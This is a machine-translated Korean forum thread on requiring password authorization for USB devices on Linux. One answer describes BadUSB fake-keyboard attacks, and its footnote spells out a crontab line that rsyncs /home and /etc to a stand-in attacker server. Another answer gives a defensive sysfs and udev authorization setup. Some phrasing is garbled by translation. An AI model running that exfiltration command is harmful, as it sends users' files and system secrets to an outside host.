드라이브, 스마트폰, 프린터 등 모든 장치를 USB에 연결할 때 시스템에서 이 연결을 승인하기 위해 비밀번호를 요청하고 장치가 USB에 연결되고 입력한 후에만 올바르게 작동하도록 만들어야 합니다. 비밀번호 비밀번호. 어떻게 해야 하나요?
답변1
현재 USB 작동 방식에서는 이를 허용하지 않는 것 같습니다. (이 중 일부는 Linux에서 USB가 작동하는 방식 때문입니다.)
- USB 장치를 연결하면 하드웨어가 이를 감지합니다(그렇지 않으면 새 USB 하드웨어가 있음을 컴퓨터에 알릴 수 없으며 버스를 계속 실행하는 데 필요합니다).
- 운영 체제 내부에는 어떤 USB 장치가 있는지 저장하는 데이터 구조가 있습니다. "버스 주소 03:01에 알 수 없는 유형의 새 장치가 있습니다."와 같은 새 항목을 생성해야 합니다.
- 이것이 어떤 유형의 장치인지 알아내려면 장치에 다음과 같이 질문해야 합니다. 당신은 누구입니까?
- 장치는 공급업체 ID와 제품 ID로 응답합니다. 이것들은 자유롭게 만들어 낼 수 있는 두 개의 숫자일 뿐입니다. 물론 "양호한" USB 장치는 해당 장치를 올바르게 나타내는 ID를 전송하도록 선택합니다. USB에는 이를 검증할 수 있는 메커니즘이 전혀 존재하지 않습니다.
- 또한 장치는 해당 내용에 대한 설명이 포함된 문자열을 보냅니다. 동일한 거래: 매번 동일한 콘텐츠를 보내도록 강요받는 대신 장치를 자유롭게 선택할 수 있습니다.
따라서 우리가 가장 먼저 깨달아야 할 것은 악성 장치로부터 보호하려는 경우 이것이 문제가 될 것이라는 점입니다. 간단하게 5유로짜리 마이크로 컨트롤러 개발 보드를 가져와서 "안녕하세요, 저는 키보드 연주자입니다"라고 말하도록 프로그래밍하고 프로그래머의 키보드 유형을 가지고 회사 사무실에 들어갈 때 안내 데스크에서 확인할 수 있습니다. ', 귀하의 Linux는 이를 신뢰해야 합니다. 왜? 진짜와 가짜를 구별할 방법이 없고, 회사 키보드를 화이트리스트에 등록해야 하며, 그렇지 않으면 로그인이 불가능합니다.
하지만 키보드를 화이트리스트에 추가하면 확인 없이 즉시 내 장치를 수락하게 됩니다. 내 가짜 키보드는 1초 이내에 사용자의 모든 파일을 중앙 서버에 업로드하거나 사용자가 삭제할 수 있는 모든 것을 삭제하거나 키로거를 설치합니다.
그런데 상황은 더욱 악화됩니다. USB 장치를 연결하고 커널이 해당 장치를 이미 드라이버가 로드된 장치(예: 다른 펜 드라이브)로 인식하면 드라이버는 사용자에게 토지에 대해 알리지 않고도 장치에 연결할 수 있습니다. . 사용자 공간에 아무도 통지하지 않으면 확인 대화 상자를 표시할 방법이 없습니다.
그러나 악의적인 사용자로부터 보호하려는 경우 이 솔루션은 어쨌든 쓸모가 없습니다. 그들은 실제로 연결되어서는 안되는 USB 장치를 연결하기 위해 비밀번호를 입력했다는 사실을 알고 있는지 여부에 대해 신경 쓰지 않거나 Fake Keyboard, Legitimate Printer 및 In-Cable에서 설명하는 것과 동일한 트릭을 사용하고 있습니다. 동료와 USB 허브. 동료가 프린터를 열고 Brother 프린터라고 주장하는 장치의 비밀번호를 입력하지만 실제로는 악의적이며 왜 비밀번호를 두 번(실제 프린터의 경우 두 번째) 입력해야 하는지 궁금해하고 도난당했다는 사실을 깨닫지 못합니다.
1 거의 모든 PC에는 키보드 역할을 하는 장치가 있기 때문에 키보드가 좋습니다. 헤드셋의 볼륨 버튼일지라도 터미널인 경우 필요한 버튼 누르기를 시뮬레이션할 수 있습니다( win terminalenterAlt+F2xtermenterAlt+F2xfce-te...확실할 때까지) 최소한 터미널 창을 열어야 함) 그런 다음 내가 원하는 사악한 작업을 수행하고( echo⏘'0⏘*⏘*⏘*⏘1-5⏘rsync⏘/home⏘/etc/⏘rsync://deaddropserver.com/evil'⏘|⏘crontab⏘-...) 열려 있는 모든 창을 닫고 적어도 하나의 터미널 창이 열려 있는지 확인합니다( Ctrl+DAlt+F4Alt+F4Alt+F4Alt+F4...)
답변2
일반적으로 사용자에게 표시되지는 않지만 udev 이벤트는 모든 USB 장치의 추가, 변경 및 제거에 의해 트리거됩니다.
Linux USB 지원에는 사용자 공간에서 USB 장치를 먼저 검사할 때까지 USB 장치를 비활성화하도록 설정할 수 있는 기능이 이미 포함되어 있습니다. 바라보다:https://www.kernel.org/doc/Documentation/usb/authorization.txt
기본적으로 모든 USB 장치는 사용이 승인됩니다. 첫 번째 단계는 기본값을 변경하는 것입니다.
for i in /sys/bus/usb/devices/usb*
do
echo 0 > "$i/authorized_default"
done
그런 다음 udev 규칙을 추가하여 D-Bus 또는 유사한 규칙을 사용하여 새롭거나 변경된 USB 장치에 대한 정보를 사용자 공간 도구에 전달할 수 있습니다. 이 도구는 사람이 읽을 수 있는 방식으로 장치를 식별하고 비밀번호를 요청합니다. udev의 최신 버전은 장기 실행 프로세스를 허용하지 않으며 사용자 세션과의 직접적인 상호 작용을 방지하기 위해 다양한 수준의 샌드박싱을 적용할 수 있으므로 이러한 중간 단계가 필요합니다.
비밀번호가 성공적으로 입력되면 비밀번호를 확인하는 요소는 이를 허용 가능한 장치의 화이트리스트에 추가하고 "Authorized" 속성을 /sys/bus/usb/devices/<some path..>
1(true)로 바꿉니다. 이전에는 해당 특정 유형의 장치에 대한 드라이버가 로드되더라도 해당 장치가 존재한다는 정보를 얻을 수 없었습니다.
장치에 권한을 부여하면 다른 udev 이벤트가 발생할 수 있으므로 먼저 장치가 화이트리스트에 있는지 확인하고 그렇다면 비대화식으로 허용하는 다른 udev 규칙을 위의 규칙 앞에 두는 것이 좋습니다.
이 확인에는 장치 유형 확인도 포함되어야 합니다. 이전에 USB 저장 장치로 허용된 장치가 갑자기 다시 연결되어 이제 USB 저장 장치, 키보드 및 마우스가 연결된 USB 허브라고 주장하는 경우 새 비밀번호를 트리거해야 합니다. 요청 그리고 장치가 이전과 다른 기능을 보고한다는 사실을 강조합니다.
키보드와 유사한 장치라고 주장하는 모든 장치에 대해 더 엄격해야 합니다. 그러나 "상사가 키보드와 마우스를 커피에 담가서 최대한 빨리 컴퓨터를 다시 사용할 수 있도록 해야 한다"와 같은 문제를 처리할 수 있는 방법도 있어야 합니다. " . 따라서 키보드가 별도의 일련 번호로 확인되는 경우 이전 인증이 모두 손실된 모든 시스템에 대해 새 마우스 및 키보드를 인증할 수 있도록 지원팀에 "보편적으로 허용되는 마스터 키보드"가 필요합니다.